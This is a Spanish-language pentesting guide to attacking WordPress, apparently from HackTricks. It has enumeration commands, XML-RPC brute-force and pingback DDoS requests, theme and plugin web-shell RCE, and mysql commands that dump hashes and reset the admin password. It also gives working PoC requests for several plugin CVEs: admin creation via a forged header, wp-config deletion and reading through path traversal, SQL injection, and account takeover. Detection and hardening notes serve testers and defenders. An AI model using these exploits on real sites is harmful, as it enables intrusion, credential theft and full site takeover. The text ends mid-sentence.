Wordpress
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
-
Los archivos Uploaded van a:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Los archivos de themes se pueden encontrar en /wp-content/themes/, así que si cambias algún php del theme para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando theme twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php
-
Otra url útil podría ser: /wp-content/themes/default/404.php
-
En wp-config.php puedes encontrar la contraseña root de la base de datos.
-
Rutas de login por defecto a comprobar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Archivos principales de WordPress
index.phplicense.txtcontiene información útil como la versión de WordPress instalada.wp-activate.phpse usa para el proceso de activación por email al configurar un nuevo sitio WordPress.- Carpetas de login (pueden ser renombradas para ocultarlas):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpes un archivo que representa una funcionalidad de WordPress que permite transmitir datos usando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la WordPress REST API.- La carpeta
wp-contentes el directorio principal donde se almacenan plugins y themes. wp-content/uploads/es el directorio donde se almacenan los archivos subidos a la plataforma.wp-includes/es el directorio donde se guardan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.wp-sitemap.xmlEn versiones de WordPress 5.5 y superiores, WordPress genera un archivo sitemap XML con todas las publicaciones públicas y los tipos de posts y taxonomías públicamente consultables.
Post-explotación
- El archivo
wp-config.phpcontiene información necesaria para que WordPress se conecte a la base de datos como el nombre de la base de datos, host de la base de datos, usuario y contraseña, claves de autenticación y salts, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para troubleshooting.
Permisos de usuarios
- Administrator
- Editor: Publica y gestiona sus propios posts y los de otros
- Author: Publica y gestiona sus propios posts
- Contributor: Escribe y gestiona sus posts pero no puede publicarlos
- Subscriber: Ver publicaciones y editar su perfil
Enumeración pasiva
Obtener versión de WordPress
Comprueba si puedes encontrar los archivos /license.txt o /readme.html
Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- Archivos CSS vinculados
.png)
- Archivos JavaScript
.png)
Obtener plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Obtener temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraer versiones en general
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumeración activa
Plugins y Temas
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás Brute Force activamente una lista de Plugins y Temas (con suerte hay herramientas automatizadas que contienen estas listas).
Usuarios
- ID Brute: Obtienes usuarios válidos de un sitio WordPress haciendo Brute Forcing de los IDs de usuario:
curl -s -I -X GET http://blog.example.com/?author=1
Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.
- wp-json: También puedes intentar obtener información sobre los usuarios consultando:
curl http://blog.example.com/wp-json/wp/v2/users
Otro endpoint /wp-json/ que puede revelar alguna información sobre usuarios es:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Ten en cuenta que este endpoint solo expone usuarios que han publicado una entrada. Solo se proporcionará información sobre los usuarios que tengan esta función habilitada.
También ten en cuenta que /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration: Al iniciar sesión en
/wp-login.phpel mensaje es diferente según indique si el nombre de usuario existe o no.
XML-RPC
Si xml-rpc.php está activo puedes realizar un brute-force de credenciales o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso using this, por ejemplo).
Para ver si está activo intenta acceder a /xmlrpc.php y enviar esta solicitud:
Comprobar
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs son algunos de los métodos que se pueden usar para brute-force credentials. Si puedes encontrar cualquiera de ellos puedes enviar algo como:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
El mensaje “Incorrect username or password” dentro de una respuesta 200 debería aparecer si las credentials no son válidas.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Con las credentials correctas puedes subir un archivo. En la respuesta aparecerá la ruta (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
También hay una forma más rápida de brute-force credenciales usando system.multicall ya que puedes probar varias credenciales en la misma petición:
.png)
Bypass 2FA
Este método está pensado para programas y no para humanos, y es antiguo, por lo que no soporta 2FA. Así que, si tienes creds válidos pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para hacer login con esos creds eludiendo 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer desde la consola, pero aún podrías llegar a RCE como Ippsec lo explica en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Si encuentras el método pingback.ping dentro de la lista puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.
Esto puede usarse para pedir a miles de Wordpress sitios que accedan a una ubicación (causando así un DDoS en ese destino) o puedes usarlo para hacer que Wordpress escanee alguna red interna (puedes indicar cualquier puerto).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.
Fíjate en el uso de system.multicall en la sección anterior para aprender cómo abusar de este método y provocar DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
This file usually exists under the root of the Wordpress site: /wp-cron.php
Cuando este archivo es accedido se realiza una consulta MySQL “heavy”, por lo que podría ser usado por atacantes para causar un DoS.
Además, por defecto, el wp-cron.php se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Worpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Se recomienda desactivar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias a intervalos regulares (sin causar problemas).
/wp-json/oembed/1.0/proxy - SSRF
Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el Worpress site puede realizar una petición hacia ti.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Esta herramienta comprueba si existe methodName: pingback.ping y el path /wp-json/oembed/1.0/proxy, y si existen, intenta explotarlos.
Herramientas automáticas
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Obtener acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podías voltear 1 bit de cualquier archivo de wordpress. Así que podías voltear la posición 5389 del archivo /var/www/html/wp-includes/user.php para convertir en NOP la operación NOT (!).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modificando un php del theme usado (se necesitan credenciales de administrador)
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
Cambia el contenido por un php shell:
.png)
Busca en internet cómo puedes acceder a esa página actualizada. En este caso debes acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Puedes usar:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:
.png)
Then add a new plugin:
.png)
Upload plugin and press Install Now:
.png)
Click on Procced:
.png)
Probably this won’t do anything apparently, but if you go to Media, you will see your shell uploaded:
.png)
Access it and you will see the URL to execute the reverse shell:
.png)
Subida y activación de un plugin malicioso
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
- Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
- Plugin Installation:
- Navigate to the WordPress dashboard, then go to
Dashboard > Plugins > Upload Plugin. - Upload the zip file of the downloaded plugin.
- Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
- Exploitation:
- With the plugin “reflex-gallery” installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It’s noted that this is just one of the many methods to exploit a WordPress site.
El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como penetration testing con permiso explícito.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other’s criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Crea un usuario en WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Sube tu plugin personalizado (backdoor) a WordPress.
- (RCE) Built-In Plugin Edit: Edita un Built-In Plugin en WordPress.
- (RCE) Built-In Theme Edit: Edita un Built-In Theme en WordPress.
- (Custom) Custom Exploits: Exploits personalizados para plugins/temas de terceros de WordPress.
Post Exploitation
Extraer nombres de usuario y contraseñas:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Cambiar la contraseña del admin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Superficie de ataque
Saber cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en esa funcionalidad. Puedes ver cómo un plugin puede exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en esta entrada del blog.
wp_ajax
Una de las formas en que un plugin puede exponer funciones a los usuarios es mediante manejadores AJAX. Éstas pueden contener bugs de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un Wordpress nonce que cualquier usuario autenticado en la instancia de Wordpress podría tener (independientemente de su rol).
Estas son las funciones que pueden usarse para exponer una función en un plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
El uso de nopriv hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).
Caution
Además, si la función solo está comprobando la autorización del usuario con la función
wp_verify_nonce, esta función solo verifica que el usuario ha iniciado sesión; normalmente no comprueba el rol del usuario. Por lo tanto, usuarios con pocos privilegios podrían tener acceso a acciones de alto privilegio.
- REST API
También es posible exponer funciones de wordpress registrando una REST API usando la función register_rest_route:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
El permission_callback es una callback que comprueba si un usuario dado está autorizado para llamar al método de la API.
Si se usa la función integrada __return_true, simplemente omitirá la comprobación de permisos de usuario.
- Acceso directo al archivo php
Por supuesto, Wordpress usa PHP y los archivos dentro de plugins son accesibles directamente desde la web. Por lo tanto, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Algunos plugins implementan atajos de “trusted header” para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual en las peticiones REST. Si el header no está vinculado criptográficamente a la petición por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.
- Impacto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(fuerza el user ID 1, típicamente la primera cuenta de administrador). - Ruta explotada:
POST /wp-json/wp/v2/userscon un array de roles elevado.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Por qué funciona
- El plugin asigna un header controlado por el cliente al estado de autenticación y omite las verificaciones de permisos.
- El núcleo de WordPress espera la capability
create_userspara esta ruta; el hack del plugin la evita estableciendo directamente el contexto del usuario actual desde el header.
Indicadores de éxito esperados
- HTTP 201 con un cuerpo JSON que describe el usuario creado.
- Un nuevo usuario administrador visible en
wp-admin/users.php.
Lista de verificación de detección
- Hacer grep de
getallheaders(),$_SERVER['HTTP_...'], o SDKs de proveedores que leen headers personalizados para establecer el contexto de usuario (p. ej.,wp_set_current_user(),wp_set_auth_cookie()). - Revisar los registros de REST en busca de callbacks privilegiados que carezcan de comprobaciones robustas de
permission_callbacky que en su lugar dependan de los headers de la petición. - Buscar usos de funciones centrales de gestión de usuarios (
wp_insert_user,wp_create_user) dentro de handlers REST que estén protegidos únicamente por valores de headers.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- Una comprobación de permisos (p. ej.
current_user_can()o al menosis_user_logged_in()), y - Un nonce CSRF validado con
check_ajax_referer()/wp_verify_nonce(), y - Saneamiento / validación estricta de la entrada.
El tema multipropósito Litho (< 3.1) olvidó esos 3 controles en la Remove Font Family feature y terminó distribuyendo el siguiente código (simplificado):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemas introducidos por este fragmento:
- Acceso no autenticado – el hook
wp_ajax_nopriv_está registrado. - Sin verificación de nonce / capacidades – cualquier visitante puede acceder al endpoint.
- Sin sanitización de la ruta – la cadena controlada por el usuario
fontfamilyse concatena a una ruta del sistema de archivos sin filtrado, permitiendo el clásico../../traversal.
Explotación
Un atacante puede eliminar cualquier archivo o directorio por debajo del directorio base de uploads (normalmente <wp-root>/wp-content/uploads/) enviando una única solicitud HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.
Lista de verificación de detección
- Any
add_action( 'wp_ajax_nopriv_...')callback that calls filesystem helpers (copy(),unlink(),$wp_filesystem->delete(), etc.). - Concatenation of unsanitised user input into paths (look for
$_POST,$_GET,$_REQUEST). - Absence of
check_ajax_referer()andcurrent_user_can()/is_user_logged_in().
Escalada de privilegios mediante restauración de roles obsoletos y autorización ausente (ASE “View Admin as Role”)
Many plugins implement a “view as role” or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Por qué es explotable
- Confía en
$_REQUEST['reset-for']y en una opción del plugin sin autorización del lado del servidor. - Si un usuario tenía previamente privilegios superiores guardados en
_asenha_view_admin_as_original_rolesy fue degradado, puede restaurarlos accediendo a la ruta de reset. - En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario aún presente en
viewing_admin_as_role_are(autorización rota).
Explotación (ejemplo)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
En builds vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., administrator), lo que efectivamente permite escalar privilegios.
Detection checklist
- Busca características de cambio de rol que persistan los “roles originales” en user meta (p. ej.,
_asenha_view_admin_as_original_roles). - Identifica rutas de reset/restore que:
- Leen nombres de usuario desde
$_REQUEST/$_GET/$_POST. - Modifican roles mediante
add_role()/remove_role()sin usarcurrent_user_can()ywp_verify_nonce()/check_admin_referer(). - Autorizan basándose en una opción de plugin en forma de array (p. ej.,
viewing_admin_as_role_are) en lugar de en las capacidades del actor.
Escalada de privilegios no autenticada vía cambio de usuario confiando en cookie en init público (Service Finder “sf-booking”)
Algunos plugins enlazan helpers de cambio de usuario al hook público init y derivan la identidad de una cookie controlada por el cliente. Si el código llama a wp_set_auth_cookie() sin verificar la autenticación, las capacidades y un nonce válido, cualquier visitante no autenticado puede forzar el login como un ID de usuario arbitrario.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Por qué es explotable
- El hook público
inithace que el handler sea accesible para usuarios no autenticados (nois_user_logged_in()guard). - La identidad se deriva de una cookie modificable por el cliente (
original_user_id). - La llamada directa a
wp_set_auth_cookie($uid)autentica al solicitante como ese usuario sin comprobaciones de capability/nonce.
Explotación (no autenticado)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
Los WAFs genéricos de borde/servidor están ajustados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugins son fallos de lógica/auth específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica de los plugins.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
WordPress Protection
Regular Updates
Asegúrate de que WordPress, plugins y themes estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Además, instala únicamente plugins y temas de WordPress confiables.
Plugins de seguridad
Otras recomendaciones
- Elimina el usuario predeterminado admin
- Usa contraseñas fuertes y 2FA
- Revisa periódicamente los permisos de los usuarios
- Limita los intentos de inicio de sesión para prevenir ataques Brute Force
- Renombra el archivo
wp-admin.phpy permite el acceso solo internamente o desde ciertas direcciones IP.
Inyección SQL no autenticada por validación insuficiente (WP Job Portal <= 2.3.2)
El plugin de reclutamiento WP Job Portal exponía una tarea savecategory que finalmente ejecuta el siguiente código vulnerable dentro de modules/category/model.php::validateFormData():
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemas introducidos por este snippet:
- Unsanitised user input –
parentidcomes straight from the HTTP request. - String concatenation inside the WHERE clause – no
is_numeric()/esc_sql()/ prepared statement. - Unauthenticated reachability – although the action is executed through
admin-post.php, the only check in place is a CSRF nonce (wp_verify_nonce()), which any visitor can retrieve from a public page embedding the shortcode[wpjobportal_my_resumes].
Explotación
- Obtén un nonce fresco:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inyecta SQL arbitrario abusando de
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Otra tarea, downloadcustomfile, permitía a los visitantes descargar any file on disk mediante path traversal. El sink vulnerable está ubicado en modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name está controlado por el atacante y se concatena sin sanitización. Nuevamente, la única barrera es un CSRF nonce que puede obtenerse desde la resume page.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
El servidor responde con el contenido de wp-config.php, leaking DB credentials and auth keys.
Toma de control de cuenta no autenticada vía Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Muchos themes/plugins incluyen helpers de “social login” expuestos vía admin-ajax.php. Si una acción AJAX no autenticada (wp_ajax_nopriv_…) confía en identificadores proporcionados por el cliente cuando faltan los datos del proveedor y luego llama a wp_set_auth_cookie(), esto se convierte en un full authentication bypass.
Patrón típico defectuoso (simplificado)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Por qué es explotable
- Alcanzable sin autenticación vía admin-ajax.php (acción wp_ajax_nopriv_…).
- No hay comprobaciones de nonce/capability antes del cambio de estado.
- Falta verificación del provider OAuth/OpenID; la rama por defecto acepta la entrada del atacante.
- get_user_by(‘email’, $_POST[‘id’]) seguido de wp_set_auth_cookie($uid) autentica al solicitante como cualquier dirección de email existente.
Explotación (sin autenticación)
- Requisitos previos: el atacante puede acceder a /wp-admin/admin-ajax.php y conoce/adivina un email de usuario válido.
- Establece el provider a un valor no soportado (o omítelo) para alcanzar la rama por defecto y pasar id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- Inspect the theme/plugin for add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by(‘email’, …) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=
. - 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
Hardening
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Por qué es explotable
- Ruta REST sensible protegida solo por una prueba de identidad de baja entropía (nombre de usuario/correo electrónico) o por ausencia de permission_callback
